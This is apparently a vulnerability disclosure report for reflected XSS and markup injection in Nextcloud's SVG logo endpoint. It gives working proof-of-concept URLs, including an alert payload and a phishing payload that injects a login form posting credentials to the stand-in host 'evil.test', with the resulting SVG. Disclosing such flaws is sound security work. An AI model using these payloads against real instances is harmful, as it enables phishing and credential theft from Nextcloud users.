Nextcloud: Reflected XSS / Markup Injection in `index.php/svg/core/logo/logo` parameter `color`

I just found a reflected Cross-Site Scripting (XSS) vulnerability in Nextcloud Server that affects current stable and dates back to at least 15.0.5.
The vulnerability seems mitigated by a Content-Security-Policy (CSP), but there might be a residual risk for phishing, due to the CSP’s lack of a form-action directive.

Steps to repeat (for basic XSS):
0) Replace server.test in the following URLs with your own test instance of Nextcloud.

1. Open Developer Tools (alternatively, disable CSP in your browser :-))
2. go to https://server.test/nextcloud/index.php/svg/core/logo/logo?color=f00"/><g onload="javascript:alert(1)"></g><circle alt="meh
3. Observe the CSP violation (alternatively, the alert popup)

Steps to repeat for phishing
0) Replace server.test in the following URLS with your own test instance of Nextcloud.

1. Visit https://server.test/nextcloud/index.php/svg/core/logo/logo?color=fff"/><foreignObject class=“node” x=“0” y=“0” width=“600” height=“600”><div xmlns=“http://www.w3.org/1999/xhtml”><p>Login</p><form action=“//evil.test”><input placeholder=“Username” type=“text”/><br/> <input placeholder=“Password” type=“text” /><br/><input type=“submit” value=“Login” /></form></div></foreignObject><circle alt="
   1a) For improved readability, here’s the resulting SVG source code

&lt;svg width="256" height="128" version="1.1" viewBox="0 0 256 128" xmlns="http://www.w3.org/2000/svg"&gt;&lt;g fill="none" stroke-width="22"&gt;&lt;circle cx="40" cy="64" r="26" stroke="#fff"/&gt;&lt;foreignObject class="node" x="0" y="0" width="600" height="600"&gt;<div><p>Login</p>&lt;form action="//evil.test"&gt;&lt;input placeholder="Username" type="text"/&gt;<br /> &lt;input placeholder="Password" type="text" /&gt;<br />&lt;input type="submit" value="Login" /&gt;&lt;/form&gt;</div>&lt;/foreignObject&gt;&lt;circle alt="" fill="none"/&gt;&lt;circle cx="216" cy="64" r="26" stroke="#fff"/&gt;&lt;foreignObject class="node" x="0" y="0" width="600" height="600"&gt;<div><p>Login</p>&lt;form action="//evil.test"&gt;&lt;input placeholder="Username" type="text"/&gt;<br /> &lt;input placeholder="Password" type="text" /&gt;<br />&lt;input type="submit" value="Login" /&gt;&lt;/form&gt;</div>&lt;/foreignObject&gt;&lt;circle alt="" fill="none"/&gt;&lt;circle cx="128" cy="64" r="46" stroke="#fff"/&gt;&lt;foreignObject class="node" x="0" y="0" width="600" height="600"&gt;<div><p>Login</p>&lt;form action="//evil.test"&gt;&lt;input placeholder="Username" type="text"/&gt;<br /> &lt;input placeholder="Password" type="text" /&gt;<br />&lt;input type="submit" value="Login" /&gt;&lt;/form&gt;</div>&lt;/foreignObject&gt;&lt;circle alt="" fill="none"/&gt;&lt;/g&gt;&lt;/svg&gt;

2. Observe how we injected a login form that points to https://evil.test. Note that further styling using CSS files of the currently applied theme could be used to make the attack more convincing. Additionally, an attacker might put the Nextcloud instance into an iframe, to hide the injection from the address bar (depending on X-Frame-Options header).

Impact

• Phishing
• XSS on the nextcloud instance, if the CSP is bypassed (rather unlikely)